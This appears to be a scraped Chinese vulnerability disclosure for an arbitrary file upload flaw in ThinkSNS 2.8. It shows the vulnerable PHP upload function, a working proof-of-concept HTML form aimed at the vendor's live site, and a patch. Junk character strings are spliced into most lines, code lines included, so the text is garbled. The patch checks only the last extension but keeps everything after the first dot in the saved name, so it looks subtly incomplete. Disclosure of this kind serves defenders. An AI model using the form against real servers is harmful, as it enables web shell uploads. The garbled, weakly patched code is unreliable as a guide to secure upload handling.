ThinkSNS 2.8任意文件上传漏洞及修复

admin

  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。
& Q$ t3 c. r3 c1 e
2 C. `& ^. ?. N2 \
2 ?2 ?( _- w4 L8 m- \# z* u/ w8 b! s\api\StatusesApi.class.php

; b  o  D, z9 I  n8 S* nfunction uploadpic(){
6 `9 W. ]  A# {+ J      if( $_FILES['pic'] ){
     //执行上传操作
; z7 q$ K0 y/ p4 @  \+ U" p     $savePath =  $this->_getSaveTempPath();
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
       {
  |8 R$ X/ _# P8 r, m, q/ N        $result['boolen']    = 1;
( _3 k( v0 n" \        $result['type_data'] = 'temp/'.$filename;
* j6 R+ C5 t( Y9 g& i! L% f        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
       } else {
# n- D! E9 i3 O2 t) G. B. c! \; l        $result['boolen']    = 0;
) ~4 C$ ?9 t/ k        $result['message']   = '上传失败';
* X% E1 G* @. u6 g" p* R, n       }
     }else{
8 c5 F- P2 O% a( E2 m* ]         $result['boolen']    = 0;
         $result['message']   = '上传失败';
# M8 G1 D2 Q+ p/ Y5 ]     }
return $result;
    }
" V* v& y# V" b% [2 yunloadpic()方法没有对文件类型进行验证

可以构建表单, 选择任意文件, 提交到
! Z7 |8 V1 z& R3 {4 t+ L6 v  h) Y- u/index.php?app=w3g&mod=Index&act=doPost

; G  J& a$ E; L0 H, d/ ^; x在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)
3 v7 ?0 J2 `! @+ p& u2 p
1 b* y7 M, y4 m! @/ l4 f
5 e  K4 L. m. a- @8 @在登录thinksns官方微博后,
构建以下表单:
, I% }6 z  \5 i5 f* f$ ?+ h
! F; }- _+ o5 X9 q% e9 a  N<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
2 X. i$ c/ M! ?4 T! i<textarea name="content">test</textarea>
, ^% T" S( G2 n& K0 o6 s! ]- Qfile: <input id="file" type="file" name="pic" />
<input type="submit" value="Post" />
- l2 a. R# k# Y# u* m) N2 `6 U7 d</form>
$ l. }: f" L  h/ }* f去掉缩略图的前缀(small_ )
​修复方案：

: d' i$ u1 ]' g, E1 B( ^
\api\StatusesApi.class.php
$ C. P" w( J3 L6 X8 V2 q& z
function uploadpic(){
5 Y; z3 L  B- J/ L+ X     /**
% F$ @8 W& S7 |+ `      * 20121018 @yelo
2 e3 \0 \: E3 [4 V( U7 W      * 增加上传类型验证
      */
, r  I; I0 r# x$ ~3 e7 L     $pathinfo = pathinfo($_FILES['pic']['name']);
1 ?5 h9 n6 s) s- P# y     $ext = $pathinfo['extension'];
8 Z# [) d* e8 K  y, y $allowExts = array('jpg', 'png', 'gif', 'jpeg');
8 z- N6 N/ K; J
     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);

6 D* m' D/ {! V# s- o5 z9 V     if( $uploadCondition ){
     //执行上传操作
% K- l* t* j9 y8 n! H1 ~     $savePath =  $this->_getSaveTempPath();
3 E: d# |( h: ~     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
+ q% j! O- b+ `4 b% W    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
       {
        $result['boolen']    = 1;
        $result['type_data'] = 'temp/'.$filename;
- A' F  f9 i& a. q% z& Q        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
0 t1 X( k! b- H4 ]       } else {
: W. x$ }2 q- Q9 [$ Z; H        $result['boolen']    = 0;
        $result['message']   = '上传失败';
8 o4 u( K3 G* r+ i) X6 ~) ]       }
  d9 ]( j: o# I, a1 V5 g     }else{
$ B. X6 H" e2 x1 j5 B0 }2 Y) C         $result['boolen']    = 0;
         $result['message']   = '上传失败';
     }
1 r/ Y$ _3 {; E  p( U5 Q4 T( ^return $result;
8 i- ], C+ D2 H/ t    }
' W! e+ V1 T) U; B; ?; M! a( X; s​
3 C& C( i. `4 Y6 r